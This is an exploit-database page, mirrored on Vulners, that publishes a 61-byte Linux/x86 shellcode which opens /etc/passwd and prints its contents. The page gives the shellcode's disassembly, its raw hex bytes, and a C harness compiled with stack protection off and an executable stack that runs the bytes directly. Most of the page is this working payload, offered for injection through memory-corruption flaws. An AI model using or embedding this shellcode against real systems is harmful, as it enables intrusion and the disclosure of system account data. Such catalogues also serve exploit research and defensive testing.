Lucene search
K

Linux/x86 - Read File (/etc/passwd) + MSF Optimized Shellcode (61 bytes)

🗓️ 14 Sep 2018 00:00:00Reported by Exploit-DBType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 34 Views

Linux/x86 Read File (/etc/passwd) MSF Optimized Shellcode (61 bytes) for Linux/x8

Code
/* 
# Shellcode Title: Linux/x86 - Read File (/etc/passwd) MSF Optimized Shellcode  (61 bytes)
# Date: 2018-09-13
# Author: Ray Doyle (@doylersec)
# Homepage: https://www.doyler.net
# Tested on: Linux/x86
# gcc -o readfile_shellcode -z execstack -fno-stack-protector readfile_shellcode.c 
*/

/****************************************************
Disassembly of section .text:

08048060 <_start>:
 8048060:	eb 2b                	jmp    804808d <call_shellcode>

08048062 <shellcode>:
 8048062:	31 c0                	xor    eax,eax
 8048064:	b0 05                	mov    al,0x5
 8048066:	5b                   	pop    ebx
 8048067:	31 c9                	xor    ecx,ecx
 8048069:	cd 80                	int    0x80
 804806b:	89 c3                	mov    ebx,eax
 804806d:	b0 03                	mov    al,0x3
 804806f:	89 e7                	mov    edi,esp
 8048071:	89 f9                	mov    ecx,edi
 8048073:	31 d2                	xor    edx,edx
 8048075:	b6 10                	mov    dh,0x10
 8048077:	cd 80                	int    0x80
 8048079:	89 c2                	mov    edx,eax
 804807b:	31 c0                	xor    eax,eax
 804807d:	b0 04                	mov    al,0x4
 804807f:	31 db                	xor    ebx,ebx
 8048081:	b3 01                	mov    bl,0x1
 8048083:	cd 80                	int    0x80
 8048085:	31 c0                	xor    eax,eax
 8048087:	b0 01                	mov    al,0x1
 8048089:	31 db                	xor    ebx,ebx
 804808b:	cd 80                	int    0x80

0804808d <call_shellcode>:
 804808d:	e8 d0 ff ff ff       	call   8048062 <shellcode>

08048092 <message>:
 8048092:	2f                   	das    
 8048093:	65                   	gs
 8048094:	74 63                	je     80480f9 <message+0x67>
 8048096:	2f                   	das    
 8048097:	70 61                	jo     80480fa <message+0x68>
 8048099:	73 73                	jae    804810e <message+0x7c>
 804809b:	77 64                	ja     8048101 <message+0x6f>
****************************************************/

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\xeb\x2b\x31\xc0\xb0\x05\x5b\x31\xc9\xcd\x80\x89\xc3\xb0\x03\x89\xe7\x89\xf9\x31\xd2\xb6\x10\xcd\x80\x89\xc2\x31\xc0\xb0\x04\x31\xdb\xb3\x01\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xd0\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64";

main()
{
    printf("Shellcode Length: %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Sep 2018 00:00Current
0.2Low risk
Vulners AI Score0.2
34